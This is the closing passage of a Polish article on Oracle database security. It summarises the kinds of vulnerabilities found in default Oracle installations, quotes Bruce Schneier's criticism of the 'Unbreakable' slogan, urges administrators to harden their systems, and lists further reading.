Powyższy artykuł omawia tylko kilka najbardziej reprezentatywnych zagrożeń charakterystycznych dla spotykanych w praktyce instalacji Oracle. Starałem się zaprezentować zarówno klasyczne zagrożenia wynikające z błędów popełnionych przez producenta (np. *buffer-overflow*) jak też wynikające z niebezpiecznej konfiguracji serwisów w instalacji standardowej, obecności skryptów demo czy nawet nieprawidłowych założeń projektowych. Oracle to zaawansowany produkt bazodanowy, integrujący mnóstwo różnych technologii. W związku z tym strojenie bezpieczeństwa Oracle to zadanie bardzo trudne.

Oczywiście – nie ma oprogramowania bez błędów, jednak ich jakość czy wręcz trywialność w przypadku produktów Oracle pozwala twierdzić, że nie są one zbyt bezpieczne w konfiguracji standardowej. Tym bardziej kuriozalnie brzmi hasło reklamowe producenta *Oracle – The Unbreakable: You can't break it, you can't break in* (Nie do złamania – Nie możesz jej złamać, nie możesz się włamać). Bruce Schneier – światowej sławy kryptolog i specjalista od bezpieczeństwa systemów IT – skomentował te hasło w ten sposób: *"Unbreakable" has a meaning. It means that it can't be broken.(...) I don't care who Larry Ellison (szef Oracle) is; he can't rewrite the dictionary.* (Crypto-Gram Newsleter, 15 luty 2002, *http://www.counterpane.com/crypto-gram-0202.html#6*)

Warto jednak pamiętać o tym, że zadaniem administratora (lub integratora) jest właściwie przygotować instalację produkcyjną. W tym odpowiednio ją utwardzić i usunąć zbędną funkcjonalność, według zaleceń producenta i źródeł niezależnych. To właśnie tego typu niedociągnięcia stanowią największe źródło podatności na ataki.■

W Sieci

- *http://echelon.pl/wojtekd* – strona domowa autora – artykuły i prezentacje dotyczące bezpieczeństwa Oracle (i nie tylko)
- *http://www.ploug.org.pl/gazetka/23/11.htm* – Wojciech Dworakowski, *Wybrane metody ataków na Oracle 8i*
- *http://www.ploug.org.pl/gazetka/24/10.htm* – Wojciech Dworakowski, Łukasz Luzar, *Ataki SQL-injection*
- *http://otn.oracle.com/deploy/security/alerts.htm – Oracle Security Alerts*
- *http://www.ploug.org.pl -> Gazetka* – w każdym numerze (od 24) Biuletyn Bezpieczeństwa PLOUG
- *http://www.nextgenss.com/papers/hpoas.pdf* – David Litchfield, *Hackproofing Oracle Application Server*
- *http://www.appsecinc.com/presentations/Protecting_Oracle_Databases_White_Paper.pdf – Protecting Oracle Databases*
- *http://www.jammed.com/~jwa/hacks/security/tnscmd/tnscmd-doc.html* – dokumentacja skryptu *tnscmd*